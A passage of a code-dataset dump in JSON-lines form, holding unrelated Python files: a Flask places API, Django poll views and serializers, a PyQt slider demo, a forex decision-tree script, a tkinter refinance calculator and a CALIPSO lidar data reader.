object\n\n Args:\n place_id (str, optional): id of the place to be deleted.\n Defaults to None.\n\n Returns:\n HTTP-Response: If the place_id is not linked to any place object,\n raise a 404 error or Returns an empty dictionary\n with the status code 200\n \"\"\"\n\n place = storage.get(Place, place_id)\n if place:\n storage.delete(place)\n storage.save()\n return jsonify({}), 200\n else:\n abort(404)\n\n\n@app_views.route('/cities//places', methods=['POST'],\n strict_slashes=False)\ndef save_place(city_id=None):\n \"\"\"[Creates a Place]\n\n Args:\n city_id (str, optional): id of the city where the place\n have to be created. Defaults to None.\n\n Returns:\n [HTTP-Response]: If the HTTP request body is not valid JSON,\n raise a 400 error with the message Not a JSON\n If the dictionary doesn’t contain the key 'name',\n raise a 400 error with the message 'Missing name'\n Returns the new City with the status code 201\n \"\"\"\n\n body = request.get_json()\n city = storage.get(City, city_id)\n if city is None:\n abort(404)\n\n if not request.is_json:\n return jsonify(error='Not a JSON'), 400\n\n if \"user_id\" not in body.keys():\n return jsonify(error=\"Missing user_id\"), 400\n user = storage.get(User, body['user_id'])\n\n if user is None:\n abort(404)\n if \"name\" not in body.keys():\n return jsonify(error=\"Missing name\"), 400\n place = Place(city_id=city_id, **body)\n place.save()\n return jsonify(place.to_dict()), 201\n\n\n@app_views.route('/places/', methods=['PUT'], strict_slashes=False)\ndef put_place(place_id=None):\n \"\"\"Updates a Place object\n\n Args:\n place_id ([str], optional): Id of the Place object to be updated.\n Defaults to None.\n\n Returns:\n [HTTP-Response]: If the place_id is not linked to any Place object,\n raise a 404 error\n If the HTTP request body is not valid JSON,\n raise a 400 error with the message Not a JSON\n If everything is right\n returns the Amenity object with the status code 200\n \"\"\"\n\n body = request.get_json()\n place = storage.get(Place, place_id)\n if place is None:\n abort(404)\n elif not request.is_json:\n return jsonify(error='Not a JSON'), 400\n\n for k, v in body.items():\n if k in ['id', 'updated_at', 'updated_at', 'user_id', 'city_id']:\n continue\n setattr(place, k, v)\n place.save()\n return jsonify(place.to_dict()), 200\n\n\n@app_views.route('/places_search', methods=['POST'], strict_slashes=False)\ndef places_search():\n \"\"\"\n Retrieves all Place objects depending of the JSON in the body\n of the request\n \"\"\"\n\n if request.get_json() is None:\n abort(400, description=\"Not a JSON\")\n\n data = request.get_json()\n\n if data and len(data):\n states = data.get('states', None)\n cities = data.get('cities', None)\n amenities = data.get('amenities', None)\n\n if not data or not len(data) or (\n not states and\n not cities and\n not amenities):\n places = storage.all(Place).values()\n list_places = []\n for place in places:\n list_places.append(place.to_dict())\n return jsonify(list_places)\n\n list_places = []\n if states:\n states_obj = [storage.get(State, s_id) for s_id in states]\n for state in states_obj:\n if state:\n for city in state.cities:\n if city:\n for place in city.places:\n list_places.append(place)\n\n if cities:\n city_obj = [storage.get(City, c_id) for c_id in cities]\n for city in city_obj:\n if city:\n for place in city.places:\n if place not in list_places:\n list_places.append(place)\n\n if amenities:\n if not list_places:\n list_places = storage.all(Place).values()\n amenities_obj = [storage.get(Amenity, a_id) for a_id in amenities]\n list_places = [place for place in list_places\n if all([am in place.amenities\n for am in amenities_obj])]\n\n places = []\n for p in list_places:\n d = p.to_dict()\n d.pop('amenities', None)\n places.append(d)\n\n return jsonify(places)\n","sub_path":"api/v1/views/places.py","file_name":"places.py","file_ext":"py","file_size_in_byte":6309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"364926131","text":"#__author__ = 'Sam_to'\n#coding:utf-8\n\nimport sys\nfrom PyQt4 import QtCore, QtGui\n\nclass Example(QtGui.QWidget):\n\n def __init__(self):\n super(Example, self).__init__()\n self.initUI()\n\n def initUI(self):\n\n slider = QtGui.QSlider(QtCore.Qt.Horizontal, self)\n slider.setFocusPolicy(QtCore.Qt.NoFocus)\n slider.setGeometry(30, 40, 10, 30)\n self.connect(slider, QtCore.SIGNAL('valueChanged(int)'), self.changeValue)\n\n self.label = QtGui.QLabel(self)\n self.label.setPixmap(QtGui.QPixmap('icons/web.png'))\n self.label.setGeometry(160, 40, 80, 30)\n\n self.setWindowTitle('Slider')\n self.setGeometry(300, 300, 250, 150)\n\n\n def changeValue(self, value):\n\n if value == 0:\n self.label.setPixmap(QtGui.QPixmap('icons/web.png'))\n elif value > 0 and value <= 30:\n self.label.setPixmap(QtGui.QPixmap('icons/exit.png'))\n elif value >30 and value <= 80:\n self.label.setPixmap(QtGui.QPixmap('icons/open.png'))\n else:\n self.label.setPixmap(QtGui.QPixmap('icons/web.png'))\n\n\nif __name__ == '__main__':\n app = QtGui.QApplication(sys.argv)\n ex = Example()\n ex.show()\n app.exec_()\n","sub_path":"pyqt_std/slider.py","file_name":"slider.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"170915991","text":"from sklearn import tree\nimport numpy as np\nimport scipy\n\ncurrlist = [\"USDJPY\",\"USDEUR\",\"USDGBP\",\"EURJPY\",\"EURGBP\",\"GBPJPY\"]\nsample_num = 20\nmax_sample_range=550\nmin_later = 5\n\ninittime = 600\nendtime = 750\n\n\n\nsample_range = range(0,max_sample_range)\n\nfor i in range(0, len(currlist)):\n filename='./'+currlist[i]+'.dat'\n exec('dataset'+str(i)+' = np.loadtxt(filename,skiprows=1,usecols=range(0,3))')\n\ndataset = []\nfor i in sample_range:\n sample = []\n for j in range(0,sample_num):\n data = np.zeros((len(currlist)), dtype=np.float)\n for k in range(0,len(currlist)):\n exec('data[k] = dataset'+str(k)+'[i+j,2]')\n sample.append(data)\n sample = np.reshape(sample,(sample_num*len(currlist)))\n dataset.append([sample])\ndataset = np.squeeze(dataset)\n\n\nlabels = np.zeros(max_sample_range,dtype=np.int)\nfor i in sample_range:\n if dataset1[sample_num+i+min_later,2] > dataset1[sample_num+i,2]:\n labels[i] = 1\n else:\n labels[i] = 0\npred_binary = tree.DecisionTreeClassifier()\npred_binary = pred_binary.fit(dataset, labels)\n\nmaxeval = 700\n\nmoney = 0\nbet = 20\n\n\ncountwins = 0\ncounter = 0\nfor i in np.arange(inittime,endtime,min_later):\n currdata = []\n for j in np.arange(sample_num,0,-1):\n data = np.zeros((len(currlist)), dtype=np.float)\n for k in range(0,len(currlist)):\n exec('data[k] = dataset'+str(k)+'[i-j,2]')\n currdata.append(data)\n currdata = np.reshape(currdata,(sample_num*len(currlist)))\n currdata = currdata.reshape(1,-1)\n prediction = pred_binary.predict(currdata)\n if dataset1[i+min_later,2] > dataset1[i,2]:\n reality = 1\n else:\n reality = 0\n if prediction == reality:\n countwins +=1\n money += bet*1.5\n else:\n money -= bet\n counter = counter+1\n\n#print(money)\n#print(countwins)\nprint(countwins/counter)\n#print('tottiem =',endtime-inittime)\n","sub_path":"DecisionTree/simulate_binary.py","file_name":"simulate_binary.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"499723791","text":"from django.shortcuts import render\nfrom django.db.models import F\nfrom rest_framework import status\nfrom rest_framework.generics import (\n ListAPIView,\n RetrieveAPIView,\n CreateAPIView,\n UpdateAPIView,\n GenericAPIView,\n)\n\nfrom rest_framework.mixins import (\n UpdateModelMixin,\n)\nfrom rest_framework.response import Response\nfrom django.db.models import Q\nfrom .models import Poll, PollAnswer, Comment, PollVote, gen_slug\nfrom .serializers import PollSerializer, PollAnswerSerializer, CommentSerializer, PollVoteSerializer\nfrom .paginators import PollPagination, CommentPagination\n\nfrom .utils import gen_slug\n\nMAX_ANSWERS_ON_POLL = 10\n\ndef get_client_ip(request):\n x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR')\n if x_forwarded_for:\n return x_forwarded_for.split(',')[0]\n else:\n return request.META.get('REMOTE_ADDR')\n\ndef vote_exists(request, poll):\n user_ip = get_client_ip(request)\n vote = PollVote.objects.filter(Q(user_ip=user_ip) & Q(poll=poll))\n return vote.count() > 0\n\ndef create_vote(request, poll):\n user_ip = get_client_ip(request)\n PollVote.objects.create(user_ip=user_ip, poll=poll)\n\ndef count_answers(poll):\n answers = PollAnswer.objects.filter(poll=poll)\n return answers.count()\n\nclass PollListView(ListAPIView):\n serializer_class = PollSerializer\n pagination_class = PollPagination\n\n def get_queryset(self):\n search = self.request.query_params.get('search', None)\n if search is not None:\n search = search.split()\n word = search[0].lower()\n condition = Q(question__icontains=word)\n for kw in search[1:]:\n word = kw.lower()\n condition |= Q(question__icontains=word)\n return Poll.objects.filter(condition).order_by('-created_at')\n else:\n return Poll.objects.all().order_by('-created_at')\n \nclass PollDetailView(RetrieveAPIView):\n lookup_field = 'slug'\n queryset = Poll.objects.all()\n serializer_class = PollSerializer\n\n def retrieve(self, request, *args, **kwargs):\n instance = self.get_object()\n serializer = self.get_serializer(instance)\n data = serializer.data\n data['is_author'] = data.get('author', None) == get_client_ip(request)\n data.pop('author')\n return Response(data)\n\nclass PollCreateView(CreateAPIView):\n serializer_class = PollSerializer\n\n def perform_create(self, serializer):\n question = self.request.data.get('question')\n slug = gen_slug(question)\n answers = self.request.data.get('answers')\n allow_multiple = self.request.data.get('allow_multiple')\n allow_comments = self.request.data.get('allow_comments')\n user_ip = get_client_ip(self.request)\n\n if bool(answers) and len(answers) >= 2 and len(answers) <= 10:\n poll = Poll.objects.create(\n question=question, \n allow_multiple=allow_multiple, \n allow_comments=allow_comments,\n author=user_ip,\n )\n\n for answer in answers:\n PollAnswer.objects.create(answer=answer, poll=poll)\n\n return poll\n else:\n print('Poll should contain at least 2 answers!')\n\n def create(self, request, *args, **kwargs):\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n instance = self.perform_create(serializer)\n \n serialized_data = serializer.data \n serialized_data['slug'] = instance.slug\n \n headers = self.get_success_headers(serializer.data)\n return Response(serialized_data, status=status.HTTP_201_CREATED, headers=headers)\n\nclass PollAnswerListView(ListAPIView):\n serializer_class = PollAnswerSerializer\n\n def get_queryset(self):\n slug = self.kwargs['slug']\n poll = Poll.objects.get(slug=slug)\n return PollAnswer.objects.filter(poll=poll) \n \nclass CommentListView(ListAPIView):\n serializer_class = CommentSerializer\n pagination_class = CommentPagination\n\n def get_queryset(self):\n slug = self.kwargs['slug']\n poll = Poll.objects.get(slug=slug)\n return Comment.objects.filter(poll=poll).order_by('-created_at')\n\nclass CommentCreateView(CreateAPIView):\n serializer_class = CommentSerializer\n\n def perform_create(self, serializer):\n poll = Poll.objects.get(slug=self.kwargs['slug'])\n\n if poll.allow_comments:\n serializer.save(poll=poll)\n else:\n print('Comments aren\\'t allowed on the poll \"' +\\\n poll.question + '\"!')\n\nclass PollVoteView(ListAPIView):\n serializer_class = PollVoteSerializer\n\n def get_queryset(self):\n user_ip = get_client_ip(self.request)\n poll = Poll.objects.get(slug=self.kwargs['slug'])\n return PollVote.objects.filter(Q(user_ip=user_ip) & Q(poll=poll))\n\nclass VoteAddView(UpdateAPIView):\n serializer_class = PollAnswerSerializer\n queryset = PollAnswer.objects.all()\n\n def perform_update(self, serializer):\n answerIds = self.request.query_params.get('choices', None)\n \n if answerIds is not None:\n answerIds = answerIds.split(',')\n for i in range(len(answerIds)):\n answerIds[i] = int(answerIds[i])\n\n answer = PollAnswer.objects.get(id=answerIds[0])\n\n if not vote_exists(self.request, answer.poll):\n if not answer.poll.allow_multiple:\n answerIds = answerIds[:1]\n \n PollAnswer.objects.filter(id__in=answerIds).update(votes=F('votes')+1)\n create_vote(self.request, answer.poll)\n else:\n print('Poll \"' + poll.question + '\" already voted!')\n\n\n\n\n\n\n ","sub_path":"polls/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"300859746","text":"from rest_framework import serializers\nfrom . import models\nfrom django.db.models import Q\n\nclass CompletedVisitSerializer(serializers.ModelSerializer):\n class Meta:\n model = models.Visit\n queryset = models.Visit.objects.filter(is_submitted=True)\n\nclass StudentSerializer(serializers.ModelSerializer):\n# caregivers = CaregiverSerializer(many=True)\n num_contacts = serializers.SerializerMethodField()\n num_noshows = serializers.SerializerMethodField()\n num_complete = serializers.SerializerMethodField()\n\n def get_num_complete(self, obj):\n qs = {}\n for v in obj.visits.filter(is_submitted=True, type='complete'):\n qs_id = v.answerset.questionset_id;\n if qs_id not in qs:\n qs[qs_id] = 0\n qs[qs_id] += 1\n return qs\n\n def get_num_noshows(self, obj):\n qs = {}\n for v in obj.visits.filter(is_submitted=True, type='noshow'):\n qs_id = v.answerset.questionset_id;\n if qs_id not in qs:\n qs[qs_id] = 0\n qs[qs_id] += 1\n return qs\n\n def get_num_contacts(self, obj):\n qs = {}\n for v in obj.visits.filter(is_submitted=True):\n qs_id = v.answerset.questionset_id;\n if qs_id not in qs:\n qs[qs_id] = 0\n qs[qs_id] += 1\n return qs\n\n class Meta:\n model = models.Student\n fields = ('name', 'key', 'grade', 'num_contacts', 'num_noshows', 'num_complete')\n\nclass StaffSerializer(serializers.ModelSerializer):\n status = serializers.ReadOnlyField(source='status.name')\n class Meta:\n model = models.Staff\n fields = ('name', 'status', 'key', 'is_visit_1_trained', 'is_visit_2_trained')\n\nclass SchoolSerializer(serializers.ModelSerializer):\n staff = serializers.SerializerMethodField() #'get_staff')\n #staff = StaffSerializer(many=True)\n trained1_staff = serializers.SerializerMethodField('get_trained1')\n trained2_staff = serializers.SerializerMethodField('get_trained2')\n\n def get_staff(self, obj):\n return StaffSerializer(instance=obj.staff.filter(is_active=True), many=True).data\n\n def get_trained1(self, obj):\n q = Q(school=obj) | Q(secondary_schools=obj)\n q = q & Q(is_visit_1_trained=True)\n staff = models.Staff.objects.filter(is_active=True).filter(q)\n #staff = obj.staff.filter(is_visit_1_trained__isnull=False).exclude(is_site_coordinator=True)\n return StaffSerializer(instance=staff, many=True).data\n\n def get_trained2(self, obj):\n q = Q(school=obj) | Q(secondary_schools=obj)\n q = q & Q(is_visit_2_trained=True)\n staff = models.Staff.objects.filter(is_active=True).filter(q) #.exclude(is_site_coordinator=True)\n #staff = obj.staff.filter(is_visit_2_trained__isnull=False).exclude(is_site_coordinator=True)\n return StaffSerializer(instance=staff, many=True).data\n\n class Meta:\n model = models.School\n depth = 2\n fields = ('name', 'district', 'staff', 'trained1_staff', 'trained2_staff')\n\nclass VisitSerializer(serializers.ModelSerializer):\n staff1 = StaffSerializer()\n student = StudentSerializer()\n questionset = serializers.ReadOnlyField(source=\"answerset.questionset_id\")\n\n class Meta:\n model = models.Visit\n","sub_path":"visit/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"271608468","text":"\nfrom tkinter import *\nimport numpy as np\n\nclass RefiEval:\n def __init__(self):\n window = Tk()\n window.title(\"Refinance Evaluator\")\n\n # Loan inputs\n Label(window, text=\"Loan Amount: \", font=\"Helvetica 16\").grid(row=1, column=1, sticky=W)\n Label(window, text=\"Interest Rate: \", font=\"Helvetica 16\").grid(row=2, column=1, sticky=W)\n Label(window, text=\"Term (years): \", font=\"Helvetica 16\").grid(row=3, column=1, sticky=W)\n Label(window, text=None).grid(row=4, column=1, sticky=W)\n\n #outputs\n Label(window, text=\"Payment: \", font=\"Helvetica 16\").grid(row=5, column=1, sticky=W)\n Label(window, text=\"Total Payments: \", font=\"Helvetica 16\").grid(row=6, column=1, sticky=W)\n\n #Variable que guarda el input\n self.pv = StringVar()\n self.interest_rate = StringVar()\n self.term = StringVar()\n\n #Variables para imprimir pmt\n self.pmt = StringVar()\n self.total = StringVar()\n\n #cajas de texto para manejar inputs y outputs\n\n Entry(window, textvariable=self.pv,\n justify=RIGHT).grid(row=1, column=2, padx=(0, 5))\n\n Entry(window, textvariable=self.interest_rate,\n justify=RIGHT).grid(row=2, column=2, padx=(0, 5))\n\n Entry(window, textvariable=self.term,\n justify=RIGHT).grid(row=3, column=2, padx=(0, 5))\n\n Label(window, textvariable=self.pmt,\n font=\"Helvetica 16 bold\",\n justify=RIGHT).grid(row=5, column=2, sticky=E)\n\n Label(window, textvariable=self.total,\n font=\"Helvetica 16 bold\",\n justify=RIGHT).grid(row=6, column=2, sticky=E)\n\n Button(window, text=\"Calculate Payment\",\n command=self.calcPayment,\n font=\"Helvetica 14\").grid(row=7, column=2, padx=(60, 5), pady=5)\n\n #Variables de refinanciamiento\n self.old_pmt = StringVar()\n self.timeleft = StringVar()\n self.refi_cost = StringVar()\n\n #Widgets de refinanciamiento\n Label(window, text=\"Current Payment: \",\n font=\"Helvetica 16\").grid(row=8, column=1, sticky=W)\n\n Label(window, text=\"Time Remaining: \",\n font=\"Helvetica 16\").grid(row=9, column=1, sticky=W)\n\n Label(window, text=\"Cost of Refi: \",\n font=\"Helvetica 16\").grid(row=10, column=1, sticky=W)\n\n\n #Entradas de evaluacion\n Entry(window, textvariable=self.old_pmt,\n justify=RIGHT).grid(row=8, column=2, padx=(0,5))\n\n Entry(window, textvariable=self.timeleft,\n justify=RIGHT).grid(row=9, column=2, padx=(0,5))\n\n Entry(window, textvariable=self.refi_cost,\n justify=RIGHT).grid(row=10, column=2, padx=(0,5))\n\n #Variables de Salida para la evaluacion\n self.monthly_savings = StringVar()\n self.payback = StringVar()\n self.overall_savings = StringVar()\n\n Label(window, text=\"Monthly Savings: \",\n font=\"Helvetica 16\").grid(row=11, column=1, sticky=W)\n\n Label(window, text=\"Payback in Months: \",\n font=\"Helvetica 16\").grid(row=12, column=1, sticky=W)\n\n Label(window, text=\"Overall Savings: \",\n font=\"Helvetica 16\").grid(row=13, column=1, sticky=W)\n\n # Mostrar outputs\n Label(window, textvariable=self.monthly_savings,\n font=\"Helvetica 12 bold\",\n justify=RIGHT).grid(row=11, column=2, sticky=E)\n Label(window, textvariable=self.payback,\n font=\"Helvetica 12 bold\",\n justify=RIGHT).grid(row=12, column=2, sticky=E)\n Label(window, textvariable=self.overall_savings,\n font=\"Helvetica 12 bold\",\n justify=RIGHT).grid(row=13, column=2, sticky=E)\n\n Button(window, text=\"Eval Refi\",\n font=\"Helvetica 14\",\n command=self.evalRefi).grid(row=14, column=2, padx=(100, 5), pady=5)\n\n\n\n window.mainloop()\n\n\n\n def calcPayment(self):\n pv = float(self.pv.get())\n rate = float(self.interest_rate.get())\n term = int(self.term.get())\n\n pmt = np.pmt(rate / 1200, term * 12, -pv, 0)\n total = pmt * 12 * term\n\n self.pmt.set(\"$\" + format(pmt, \"5,.2f\"))\n self.total.set(\"$\" + format(total, \"8,.2f\"))\n\n def evalRefi(self):\n pmt = self.pmt.get()\n pmt = pmt[1:]\n pmt = float(pmt[:pmt.find(',')] + pmt[pmt.find(',')+1:])\n\n total = self.total.get()\n total = total[1:]\n total = float(total[:total.find(',')] + total[total.find('.')+1:])\n\n #perform comparison ??\n old_pmt = float(self.old_pmt.get())\n monthly_savings = old_pmt - pmt\n\n refi_cost = float(self.refi_cost.get())\n payback = refi_cost / monthly_savings\n old_remaining = float(self.timeleft.get()) * 12 * float(self.old_pmt.get())\n overall_savings = old_remaining - total\n\n self.monthly_savings.set(\"$\" + format(monthly_savings, \"5,.2f\"))\n self.payback.set(format(payback, \"5.2f\") + \" months\")\n self.overall_savings.set(\"$\" + format(overall_savings, \"8,.2f\"))\n\n\nRefiEval()\n","sub_path":"Refinance Calculator/7_refin_eval.py","file_name":"7_refin_eval.py","file_ext":"py","file_size_in_byte":5141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"337148284","text":"import numpy as np\nimport pandas as pd\nfrom geopy.distance import vincenty\nfrom mpl_toolkits.basemap import Basemap\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pylab as plt\nfrom atmPy.general import timeseries\nfrom pyhdf.SD import SD, SDC\nfrom matplotlib.colors import LinearSegmentedColormap\n\n\ndef get_cmap(norm='linear', log_min=None, reverse=False):\n colors = np.array([np.array([0.0, 4., 76.]) / 255.,\n np.array([49., 130., 0.0]) / 255.,\n np.array([255, 197., 98.]) / 255.,\n np.array([245., 179., 223.]) / 255.,\n np.array([1, 1, 1]),\n ])\n\n if norm == 'linear':\n steps = np.linspace(0, 1, len(colors))\n elif norm == 'log':\n steps = np.logspace(log_min, 0, len(colors))\n steps[0] = 0\n\n if reverse:\n colors = colors[::-1]\n\n r = np.zeros((len(colors), 3))\n r[:, 0] = steps\n r[:, 1] = colors[:, 0]\n r[:, 2] = colors[:, 0]\n\n g = np.zeros((len(colors), 3))\n g[:, 0] = steps\n g[:, 1] = colors[:, 1]\n g[:, 2] = colors[:, 1]\n\n b = np.zeros((len(colors), 3))\n b[:, 0] = steps\n b[:, 1] = colors[:, 2]\n b[:, 2] = colors[:, 2]\n\n cdict = {'red': r,\n 'green': g,\n 'blue': b\n }\n\n hag_cmap = LinearSegmentedColormap('hag_cmap', cdict)\n hag_cmap.set_bad('black')\n return hag_cmap\n\n\ndef read_file(fname):\n out = Calipso(fname)\n return out\n\n\n\ndef get_total_attenuated_backscattering(hdf, datetime, bins):\n totattback = hdf.select('Total_Attenuated_Backscatter_532')\n data = totattback[:]\n data[data == -9999.0] = np.nan\n totbackatt_df = pd.DataFrame(data, index=datetime, columns=bins)\n # ts = timeseries.TimeSeries_2D(totbackatt_df)\n ts = Total_Attenuated_Backscattering(totbackatt_df)\n return ts\n\ndef generate_altitude_data(level = 1):\n if level != 1:\n raise ValueError('not implemented yet')\n # list taken from https://www-calipso.larc.nasa.gov/resources/calipso_users_guide/data_summaries/l1b/index.php#Table01\n layer_list = [{'alt_layerbottom': 30.1 * 1e3, 'start_bin': 1, 'end_bin':33, 'v_resolution': 300, 'h_resolution': 5000},\n {'alt_layerbottom': 20.2 * 1e3, 'start_bin': 34, 'end_bin':88, 'v_resolution': 180, 'h_resolution': 5/3 * 1e3},\n {'alt_layerbottom': 8.3 * 1e3, 'start_bin': 89, 'end_bin':288, 'v_resolution': 60, 'h_resolution': 1000},\n {'alt_layerbottom': -0.5 * 1e3, 'start_bin': 289, 'end_bin':578, 'v_resolution': 30, 'h_resolution': 300},\n {'alt_layerbottom': -2 * 1e3, 'start_bin': 579, 'end_bin':583, 'v_resolution': 300, 'h_resolution': 300}\n ]\n layer_data = pd.DataFrame(layer_list)\n\n bins = np.zeros(583)\n\n top_of_layer = 40* 1e3\n for index, row in layer_data.iterrows():\n start = int(row['start_bin']-1)\n end = int(row['end_bin'])\n shape = bins[start :end].shape[0]\n new_bins = np.linspace(row['alt_layerbottom'], top_of_layer, shape, endpoint=False)[::-1]\n top_of_layer = row['alt_layerbottom']\n layer_thickness = (new_bins[:-1] - new_bins[1:]).mean()\n bins[start :end] = new_bins\n # bins[start :end] = row['alt_layerbottom'] + (np.arange(bins[start :end].shape[0]) * row['v_resolution'])[::-1]\n return bins\n\n\n# def plot_on_map(self, projection='aeqd', resolution = 'c', points_of_interest = None, three_d=False):\n# \"\"\"Plots a map of the flight path\n#\n# Note\n# ----\n# packages: matplotlib-basemap,\n#\n# Arguments\n# ---------\n# three_d: bool.\n# If flight path is plotted in 3D. unfortunately this does not work very well (only costlines)\n# \"\"\"\n#\n# data = self.data.copy()\n# data = data.loc[:,['Lon','Lat']]\n# data = data.dropna()\n#\n# lon_center = (data.Lon.values.max() + data.Lon.values.min()) / 2.\n# lat_center = (data.Lat.values.max() + data.Lat.values.min()) / 2.\n#\n# points = np.array([data.Lat.values, data.Lon.values]).transpose()\n# distances_from_center_lat = np.zeros(points.shape[0])\n# distances_from_center_lon = np.zeros(points.shape[0])\n# for e, p in enumerate(points):\n# distances_from_center_lat[e] = vincenty(p, (lat_center, p[1])).m\n# distances_from_center_lon[e] = vincenty(p, (p[0], lon_center)).m\n#\n# lat_radius = distances_from_center_lat.max()\n# lon_radius = distances_from_center_lon.max()\n# scale = 1\n# border = scale * 2 * np.array([lat_radius, lon_radius]).max()\n#\n# height = border + lat_radius\n# width = border + lon_radius\n# if not three_d:\n# if projection == 'mill':\n# bmap = Basemap(projection='mill',llcrnrlat=-90,urcrnrlat=90,\\\n# llcrnrlon=-180,urcrnrlon=180,resolution='c')\n#\n# elif projection == 'aeqd':\n# bmap = Basemap(projection=projection,\n# lat_0=lat_center,\n# lon_0=lon_center,\n# width=width,\n# height=height,\n# resolution=resolution)\n# else:\n# raise ValueError('projection ')\n# # Fill the globe with a blue color\n# wcal = np.array([161., 190., 255.]) / 255.\n# boundary = bmap.drawmapboundary(fill_color=wcal)\n#\n# grau = 0.9\n# continents = bmap.fillcontinents(color=[grau, grau, grau], lake_color=wcal)\n# costlines = bmap.drawcoastlines()\n# x, y = bmap(data.Lon.values, data.Lat.values)\n# path = bmap.plot(x, y,\n# color='m')\n#\n# # return bmap\n#\n# else:\n# bmap = Basemap(projection=projection,\n# lat_0=lat_center,\n# lon_0=lon_center,\n# width=width,\n# height=height,\n# resolution=resolution)\n#\n# fig = plt.figure()\n# ax = Axes3D(fig)\n# ax.add_collection3d(bmap.drawcoastlines())\n# x, y = bmap(self.data.Lon.values, self.data.Lat.values)\n# # ax.plot(x, y,self.data.Altitude.values,\n# # color='m')\n# N = len(x)\n# for i in range(N - 1):\n# color = plt.cm.jet(i / N)\n# ax.plot(x[i:i + 2], y[i:i + 2], self.data.Altitude.values[i:i + 2],\n# color=color)\n# if points_of_interest:\n# for point in points_of_interest:\n#\n# lat,lon = point.pop('loc_lat_lon')\n# x,y = bmap(lon,lat)\n# ax = plt.gca()\n#\n# try:\n# annotation = point.pop('annotation')\n# annotation_kwargs = point.pop('annotations_kwargs')\n# except KeyError:\n# annotation = None\n#\n#\n# g, = bmap.plot(x,y)\n# g.set(**point)\n#\n# if annotation:\n# anno = ax.annotate(annotation, (x,y), **annotation_kwargs)\n# return bmap\n\ndef plot_on_map(self, bmap_kwargs=None, estimate_extend=True, costlines = True, continents = True, background = None, points_of_interest=None, three_d=False, verbose = False):\n \"\"\"\n\n Args:\n bmap_kwargs:\n estimate_extend:\n costlines:\n background: str [None]\n options are 'bluemarble', 'shadedrelief', 'etopo'\n points_of_interest:\n three_d:\n verbose:\n\n Returns:\n\n \"\"\"\n\n data = self.data.copy()\n data = data.loc[:, ['Lon', 'Lat']]\n data = data.dropna()\n\n if not bmap_kwargs:\n bmap_kwargs = {'projection': 'aeqd',\n 'resolution': 'c'}\n\n if estimate_extend:\n if bmap_kwargs['projection'] == 'aeqd':\n lon_center = (data.Lon.values.max() + data.Lon.values.min()) / 2.\n lat_center = (data.Lat.values.max() + data.Lat.values.min()) / 2.\n\n points = np.array([data.Lat.values, data.Lon.values]).transpose()\n distances_from_center_lat = np.zeros(points.shape[0])\n distances_from_center_lon = np.zeros(points.shape[0])\n for e, p in enumerate(points):\n distances_from_center_lat[e] = vincenty(p, (lat_center, p[1])).m\n distances_from_center_lon[e] = vincenty(p, (p[0], lon_center)).m\n\n lat_radius = distances_from_center_lat.max()\n lon_radius = distances_from_center_lon.max()\n scale = 1\n border = scale * 2 * np.array([lat_radius, lon_radius]).max()\n\n height = border + lat_radius\n width = border + lon_radius\n bmap_kwargs['lat_0'] = lat_center\n bmap_kwargs['lon_0'] = lon_center\n bmap_kwargs['width'] = width\n bmap_kwargs['height'] = height\n\n elif bmap_kwargs['projection'] == 'mill':\n bmap_kwargs['llcrnrlat'] = -90\n bmap_kwargs['urcrnrlat'] = 90\n bmap_kwargs['llcrnrlon'] = -180\n bmap_kwargs['urcrnrlon'] = 180\n\n if verbose:\n print('bmap_kwargs: {}'.format(bmap_kwargs))\n\n bmap = Basemap(**bmap_kwargs)\n if not three_d:\n wcal = np.array([161., 190., 255.]) / 255.\n\n if background == 'bluemarbel':\n bmap.bluemarble()\n elif background == 'etopo':\n bmap.etopo()\n elif background == 'shadedrelief':\n bmap.shadedrelief()\n elif not background:\n # Fill the globe with a blue color\n bmap.drawmapboundary(fill_color=wcal)\n else:\n raise ValueError('\"{}\" is not a valid background!'.format(background))\n\n if continents:\n grau = 0.9\n bmap.fillcontinents(color=[grau, grau, grau], lake_color=wcal)\n\n if costlines:\n bmap.drawcoastlines()\n\n x, y = bmap(data.Lon.values, data.Lat.values)\n path = bmap.plot(x, y,\n color='m')\n\n # return bmap\n\n else:\n fig = plt.figure()\n ax = Axes3D(fig)\n ax.add_collection3d(bmap.drawcoastlines())\n x, y = bmap(self.data.Lon.values, self.data.Lat.values)\n # ax.plot(x, y,self.data.Altitude.values,\n # color='m')\n N = len(x)\n for i in range(N - 1):\n color = plt.cm.jet(i / N)\n ax.plot(x[i:i + 2], y[i:i + 2], self.data.Altitude.values[i:i + 2],\n color=color)\n\n if points_of_interest:\n for point in points_of_interest:\n\n lat, lon = point.pop('loc_lat_lon')\n x, y = bmap(lon, lat)\n ax = plt.gca()\n\n try:\n annotation = point.pop('annotation')\n annotation_kwargs = point.pop('annotations_kwargs')\n except KeyError:\n annotation = None\n\n g, = bmap.plot(x, y)\n g.set(**point)\n\n if annotation:\n anno = ax.annotate(annotation, (x, y), **annotation_kwargs)\n return bmap\n\n\ndef get_closest2location(path, location):\n \"\"\"\n Args\n ----\n location: tuple\n (lat,lon)\"\"\"\n\n def get_dist(row, location):\n \"\"\"\n Args\n ----\n location: tuple\n (lat,lon)\n \"\"\"\n dist = vincenty(location, (row['Lat'], row['Lon']))\n # print(row)\n return dist.km\n\n get_distance2location(path, location)\n data = path.data.copy()\n closest = data.sort_values('distance').iloc[[0]]\n return closest\n\n\ndef get_distance2location(path, location):\n \"\"\"Ads a collumn to path.data.\n Args\n ----\n location: tuple\n (lat,lon)\"\"\"\n\n def get_dist(row, location):\n \"\"\"\n Args\n ----\n location: tuple\n (lat,lon)\n \"\"\"\n dist = vincenty(location, (row['Lat'], row['Lon']))\n # print(row)\n return dist.km\n\n dist 